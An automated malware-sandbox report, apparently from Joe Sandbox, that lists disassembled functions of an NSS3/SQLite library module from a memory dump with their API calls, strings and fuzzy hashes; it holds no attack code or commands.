PR_ExplodeTime.NSS3(00000000,6CBF1C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CBF1C6F,00000000,00000004,?,?), ref: 6CC46C94

Strings

gfff, xrefs: 6CC46D66
gfff, xrefs: 6CC46CF5
gfff, xrefs: 6CC46D9C
gfff, xrefs: 6CC46CFD
gfff, xrefs: 6CC46D30

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 5018a9f8e0b7b11fb0bbd811da8ec0f5dff8b5b8f1141e8528b81dd854914707
Instruction ID: 2c74110a9549274cdb5af6235fd15b4922a27f3231bc46940ab6a9b69a1ebaeb
Opcode Fuzzy Hash: 5018a9f8e0b7b11fb0bbd811da8ec0f5dff8b5b8f1141e8528b81dd854914707
Instruction Fuzzy Hash: BC513C72B016494FC71CCEADDC527DAB7DAABA4310F48C23AE441DB785E638D906C751

Function 6CCC0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CCC1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CCC10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCC1353

Strings

zeroblob(%d), xrefs: 6CCC1223
$, xrefs: 6CCC12A0
-- , xrefs: 6CCC0FF5
NULL, xrefs: 6CCC119E
%lld, xrefs: 6CCC114B
'%.*q', xrefs: 6CCC1217, 6CCC1292
%02x, xrefs: 6CCC12F6

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 439861ffffc1ce25a942dd010235577e1d6b316dd94c742d01da5526b930072b
Instruction ID: eb9a098d29230ba11baa72437919490b16cbbefb2d3152fb156cf42616f6eb4f
Opcode Fuzzy Hash: 439861ffffc1ce25a942dd010235577e1d6b316dd94c742d01da5526b930072b
Instruction Fuzzy Hash: D1E1BF75A083809FD700CF5AC480A6BBBF1BF86358F18892DE99587B51E771E849CB43

Function 6CCC8FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCC8FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCC90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCC9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCC915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCC91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCC9209

Strings

3333, xrefs: 6CCC925E
UUUU, xrefs: 6CCC9255

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 768c0969bf4f56b0aa1216b6a96881e61e30bd5c30be3d832867de264309f0e9
Instruction ID: 19b5e28f3086ffe90d12addf6ba1590d89bfd8d3bab1638c143efaa1245a4a8b
Opcode Fuzzy Hash: 768c0969bf4f56b0aa1216b6a96881e61e30bd5c30be3d832867de264309f0e9
Instruction Fuzzy Hash: 16A1AF72E001159BDB04CF68CC80B9EB7B5BF48328F094129D909B7791E736AC12CBA2

Function 6CB80FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CB7CA30: EnterCriticalSection.KERNEL32(?,?,?,6CBDF9C9,?,6CBDF4DA,6CBDF9C9,?,?,6CBA369A), ref: 6CB7CA7A
Part of subcall function 6CB7CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB7CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CB8103E
EnterCriticalSection.KERNEL32(?), ref: 6CB81139
LeaveCriticalSection.KERNEL32(?), ref: 6CB81190
sqlite3_free.NSS3(00000000), ref: 6CB81227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CB8126E
sqlite3_free.NSS3(?), ref: 6CB8127F

Strings

winAccess, xrefs: 6CB8129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6CB81267

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: fdb1f1be36803df78b9c46d35d1bdf7c18f2bea800c9895b00ffc934b310bc7c
Instruction ID: 3b3431dfc58d2facda9fefa8a4bba5e5321bfb0bbe6f72fbc9ffcabdd7467231
Opcode Fuzzy Hash: fdb1f1be36803df78b9c46d35d1bdf7c18f2bea800c9895b00ffc934b310bc7c
Instruction Fuzzy Hash: A4710A317472819BFB04EF25DC85A6B7379FB86319F584229EA3587A80EB30D805C793

Function 6CB8AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CCACF46,?,6CB7CDBD,?,6CCABF31,?,?,?,?,?,?,?), ref: 6CB8B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CCACF46,?,6CB7CDBD,?,6CCABF31), ref: 6CB8B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CCACF46,?,6CB7CDBD,?,6CCABF31), ref: 6CB8B0A2
CloseHandle.KERNEL32(?,?,6CCACF46,?,6CB7CDBD,?,6CCABF31,?,?,?,?,?,?,?,?,?), ref: 6CB8B100
sqlite3_free.NSS3(?,?,00000002,?,6CCACF46,?,6CB7CDBD,?,6CCABF31,?,?,?,?,?,?,?), ref: 6CB8B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CCACF46,?,6CB7CDBD,?,6CCABF31), ref: 6CB8B12D

Part of subcall function 6CB79EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CB8C6FD,?,?,?,?,6CBDF965,00000000), ref: 6CB79F0E
Part of subcall function 6CB79EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CBDF965,00000000), ref: 6CB79F5D

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 1d6d8152dce6009c8eef7f8c974ad716437532586ac2010f599834ede143879b
Instruction ID: 7e51a66e6921ff3dbbe386bd8946fd80c3e4c7c494ed1c66222594e9542a91fd
Opcode Fuzzy Hash: 1d6d8152dce6009c8eef7f8c974ad716437532586ac2010f599834ede143879b
Instruction Fuzzy Hash: 5591DFB0A052458FEB14DF38CC84B6BB7B5FF45308F28462DE51697A90EB31E854CB52

Function 6CD08D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CD514E4,6CCBCC70), ref: 6CD08D47
PR_GetCurrentThread.NSS3 ref: 6CD08D98

Part of subcall function 6CBE0F00: PR_GetPageSize.NSS3(6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F1B
Part of subcall function 6CBE0F00: PR_NewLogModule.NSS3(clock,6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CD08E7B
htons.WSOCK32(?), ref: 6CD08EDB
PR_GetCurrentThread.NSS3 ref: 6CD08F99
PR_GetCurrentThread.NSS3 ref: 6CD0910A

Strings

%u.%u.%u.%u, xrefs: 6CD08E74

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 620a3e97970a04db5109324505c9a1b63705e3a03755a45c1282b55ac7793535
Instruction ID: 50221b11d263fe36d1927ce0372066c2e28ecf4f1ddae8b53d01d246a8018b2e
Opcode Fuzzy Hash: 620a3e97970a04db5109324505c9a1b63705e3a03755a45c1282b55ac7793535
Instruction Fuzzy Hash: DF026931B05251CFDB188F1DC8687AABBB2EF82304F19825FD8915BAB2C375D949C791

Function 6CC868E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6CC868FC
PR_EnterMonitor.NSS3 ref: 6CC86924

Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB90AB
Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB90C9
Part of subcall function 6CCB9090: EnterCriticalSection.KERNEL32 ref: 6CCB90E5
Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB9116
Part of subcall function 6CCB9090: LeaveCriticalSection.KERNEL32 ref: 6CCB913F

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

PR_EnterMonitor.NSS3 ref: 6CC8693E
TlsGetValue.KERNEL32 ref: 6CC86977
TlsGetValue.KERNEL32 ref: 6CC869B8
PR_ExitMonitor.NSS3 ref: 6CC86B1E
PR_ExitMonitor.NSS3 ref: 6CC86B39
TlsGetValue.KERNEL32 ref: 6CC86B62

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: 31b727c15c204b7e8a1f91f18cf9c443c2f91dcf13e137cdf7c675a0e4201083
Instruction ID: 52a741d3971ce36e767ba0d81c2468fb31bba6b22c99d9fe981bfb10efb7ba02
Opcode Fuzzy Hash: 31b727c15c204b7e8a1f91f18cf9c443c2f91dcf13e137cdf7c675a0e4201083
Instruction Fuzzy Hash: D2917D7466A900CBDB40DF2EC48056F7FA2FB8770CB618259C8849FA19E771D981DB86

Function 6CB8EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

%s %T already exists, xrefs: 6CB8FAC8
not authorized, xrefs: 6CB8F957, 6CB8F9BA
there is already an index named %s, xrefs: 6CB8F9D7
table, xrefs: 6CB8F05C, 6CB8FABC, 6CB8FAC7
temporary table name must be unqualified, xrefs: 6CB8F734
sqlite_master, xrefs: 6CB8F0AB, 6CB8F2DA, 6CB8F757, 6CB8F93E
sqlite_temp_master, xrefs: 6CB8F0A6, 6CB8F2D5
authorizer malfunction, xrefs: 6CB8F95C, 6CB8F9BF, 6CB8FA5E, 6CB8FA8B
view, xrefs: 6CB8F061, 6CB8F071, 6CB8FAB7

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 1f97f9295744b9786ee4a8c836820dad448d90ce056b6930e001c9c1f47adc52
Instruction ID: 32e3874a961bbae9f1c2378241cb75237ac3ba6f56a6fc50a8447e071ade00a5
Opcode Fuzzy Hash: 1f97f9295744b9786ee4a8c836820dad448d90ce056b6930e001c9c1f47adc52
Instruction Fuzzy Hash: B072A070E052858FDB14CF68C480BAABBF2FF49308F1481ADD915AB792D775E846CB91

Function 6CCA9C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CB7C52B), ref: 6CCA9D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCAA035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCAA114

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CCAA01F, 6CCAA0E4, 6CCAA0FE
%s at line %d of [%.10s], xrefs: 6CCAA02E, 6CCAA10D
database corruption, xrefs: 6CCAA029, 6CCAA108

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 41da80800c44ac21ce7103fa211a1c447d8972adb3ebce20f27c86d6c464ac6f
Instruction ID: 6b9a8449641b616cdfbff311546a865cfd6c36fa2563df24dade3d6e29664d1c
Opcode Fuzzy Hash: 41da80800c44ac21ce7103fa211a1c447d8972adb3ebce20f27c86d6c464ac6f
Instruction Fuzzy Hash: 2E22D0706083429FC704CFA9C49462AB7E1FFCA344F148A2DE9DA97B51E735D84ACB42

Function 6CC109A0 Relevance: 11.0, APIs: 7, Instructions: 489memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC106A0: TlsGetValue.KERNEL32 ref: 6CC106C2
Part of subcall function 6CC106A0: EnterCriticalSection.KERNEL32(?), ref: 6CC106D6
Part of subcall function 6CC106A0: PR_Unlock.NSS3 ref: 6CC106EB

memcmp.VCRUNTIME140(00000000,6CBF9B8A,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6CBF9B8A,00000000,6CBF2D6B), ref: 6CC109D9
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6CBF9B8A,00000000,6CBF2D6B), ref: 6CC109F2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CBF9B8A,00000000,6CBF2D6B), ref: 6CC10A1C
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CBF9B8A,00000000,6CBF2D6B), ref: 6CC10A30
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CBF9B8A,00000000,6CBF2D6B), ref: 6CC10A48

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Alloc_ArenaUtilmemcmp
String ID:
API String ID: 115324291-0
Opcode ID: 047dc4c3f2b971c0cb8aa472e849c3d608db6694e87620ccfe91d487f423efea
Instruction ID: 7807b82ba0a9dfc59b1cbcc78a584fe67bd2db7ef8d385b3ebbbb0f98a8a3a02
Opcode Fuzzy Hash: 047dc4c3f2b971c0cb8aa472e849c3d608db6694e87620ccfe91d487f423efea
Instruction Fuzzy Hash: 7F0211B1E042049FEB008F66DC41BAB77B9FF48318F144129E905A7B52F732E965DBA1

Function 6CBD0820 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 1448COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000001,00000001), ref: 6CBD11D2

Strings

@, xrefs: 6CBD0B17
not authorized, xrefs: 6CBD175E, 6CBD1763
authorizer malfunction, xrefs: 6CBD1BD2
rows deleted, xrefs: 6CBD17D2

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: memset
String ID: @$authorizer malfunction$not authorized$rows deleted
API String ID: 2221118986-4041583037
Opcode ID: e2cbff24ae7cdbe2fba00596b1e5313567211bf251a764db9c12eb1dd47e1faa
Instruction ID: fedf5bc4894ed10af51eb4f7239a617b362c827961a15ba49b449fcd9ba69c2a
Opcode Fuzzy Hash: e2cbff24ae7cdbe2fba00596b1e5313567211bf251a764db9c12eb1dd47e1faa
Instruction Fuzzy Hash: E0D28870E04289DFDB14CFA9C480B9DBBB2FF49318F298269D415ABB51D771B846CB81

Function 6CC9C9E0 Relevance: 7.7, APIs: 5, Instructions: 187timeCOMMON

Download Yara Rule

APIs

PR_NormalizeTime.NSS3(00000000,?), ref: 6CC9CEA5

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: NormalizeTime
String ID:
API String ID: 1467309002-0
Opcode ID: 3b3f9aa7c1323b5477153c3d20081a5cd033646bfe42f742d9bfa9efce3d2024
Instruction ID: 0b27866eba1b0c326aa39ccdb0c88987af9824d550886a368932157943ecffdd
Opcode Fuzzy Hash: 3b3f9aa7c1323b5477153c3d20081a5cd033646bfe42f742d9bfa9efce3d2024
Instruction Fuzzy Hash: 7871A471A057418FD704DF28C48062ABBE5FF89328F258B2DE4A9C77A1E730D955CB91

Function 6CD0CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD0D086
PR_Malloc.NSS3(00000001), ref: 6CD0D0B9
PR_Free.NSS3(?), ref: 6CD0D138

Strings

>, xrefs: 6CD0CF5B

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 8c82f0758b7c00ef9aa02306393cf21b5dcf9402b554e2d599b80ed882cfbe17
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 63D15A62B416464BEB144F7C8CA13EA77938782374F68432BD5619BBF6EA19C843C353

Function 6CCAAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
